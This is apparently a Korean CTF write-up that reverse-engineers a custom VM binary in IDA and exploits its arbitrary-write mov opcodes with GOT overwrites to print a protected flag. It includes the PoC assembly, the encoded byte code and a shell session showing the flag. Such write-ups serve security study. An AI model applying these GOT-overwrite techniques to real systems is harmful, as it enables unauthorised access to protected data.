반응형
IDA CODE VCPU Line 27
fp = fopen(file_path, "rb");
if ( !fp )
{
puts("\nFILE ERROR!!");
printf("FILE : %s\n", file_path);
exit(1);
}
fread(fbuf, 1u, 0x10000u, fp);
if ( DBG_FLG )
puts("[+] FILE READING...");
memcpy(CODE, fbuf, 0x10000u);
if ( DBG_FLG )
puts("[*] INSERT COMPLETE\n");
close((int)fp);
regi->_EIP = (OPCODE *)CODE;
if ( DBG_FLG )
printf("[+] EIP SET : 0x%08x\n", regi->_EIP);
/* 생략 */
while ( 1 )
{
do
{
opcodes[v0->INS]((char)v0->MOD, v0->OPT1, v0->OPT2);
v0 = regi->_EIP;
}
분석을 하면 고맙게도 strip을 하지 않은 것을 알 수 있다.
일단 바이너리는 온몸을 다해서 자신이 VM이라는 것을 말하고 있는데
IDA CODE mov_8
void __cdecl mov_8(_DWORD *a1, int a2)
{
*a1 = a2;
if ( DBG_FLG )
printf("[*] MOV RESULT : %08x,%08x\n", *a1, a2);
}
여기를 분석하면 mov [OPT1]. OPT2 가 되어
원하는 주소에 값을 넣을 수 있다.
IDA CODE mov_6
int __cdecl mov_6(_DWORD *a1, _DWORD *a2)
{
int result; // eax@1
*a1 = *a2;
result = (unsigned __int8)DBG_FLG;
if ( DBG_FLG )
result = printf("[*] MOV RESULT : %08x,%08x\n", *a1, *a2);
return result;
}
IDA CODE mov_1
int __cdecl mov_1(int a1, _DWORD *a2)
{
int result; // eax@1
*(®i->_EAX + a1) = *a2;
result = (unsigned __int8)DBG_FLG;
if ( DBG_FLG )
result = printf("[*] MOV RESULT : %08x,%08x\n", *(®i->_EAX + a1), a2);
return result;
}
또한 mov_6에서는 mov [OPT1], [OPT2]
mov_1 은 mov REG[OPT1], [OPT2]
와 같이 메모리의 값을 가져 올 수 있다
syscall 함수에서 read, write 함수를 호출 하므로
read GOT와 write GOT를 덮어 씌워 주면 flag가?
cat: flag: Permission denied
???????
여기서 던짐 각이 나왔다.
원인은 setuid를 한게 아닌 setgid를 해서
권한이 없다는 것이다.
그래서 밥먹고 다시 생각해 보니
1. file_path를 flag로 맞춘다
2. memcpy를 write로 바꾼다
3. CODE를 01로 바꾼다
4. read를 VCPU+0x17D로 바꾼다
5. syscall read를 호출한다
6. ??????
7, PROFIT!
GOT를 VCPU에 있는 memcpy가
memcpy(CODE, fbuf, 0x10000u);
write(01, fbuf, 0x10000u);
가 되면서 플래그를 뿌려 줄 것이다
POC Code
mov [0x804d140],0x67616c66
mov [0x804d144],0x00000000
mov [0x804D018],[0x804D034]
mov [0x804D010],0x8048970
mov [0x0804D1B4], 01
syscall read
Byte Code
0000140040d10408666c6167
0000140044d1040800000000
0000110018d0040834d00408
0000140010d0040870890408
00001400b4d1040801000000
180000000000000000000000
SSH
VM@ip-172-31-17-183:~$ ./VM -f /tmp/lol/tmp
H3X0R{TH15_15_5T4G3_0N3}
4´Segmentation fault (core dumped)
VM@ip-172-31-17-183:~$
'CTF' 카테고리의 다른 글
DoubleS1405 Write UP (0) | 2017.04.01 |
---|---|
Codegate2017 prequals Writeup (0) | 2017.02.15 |
PlaidCTF 2016 quick (0) | 2016.04.18 |
CodeGate 2016 Junior BugBug (0) | 2016.03.20 |
CodeGate 2016 Junior JS_is_not_a_jail (0) | 2016.03.19 |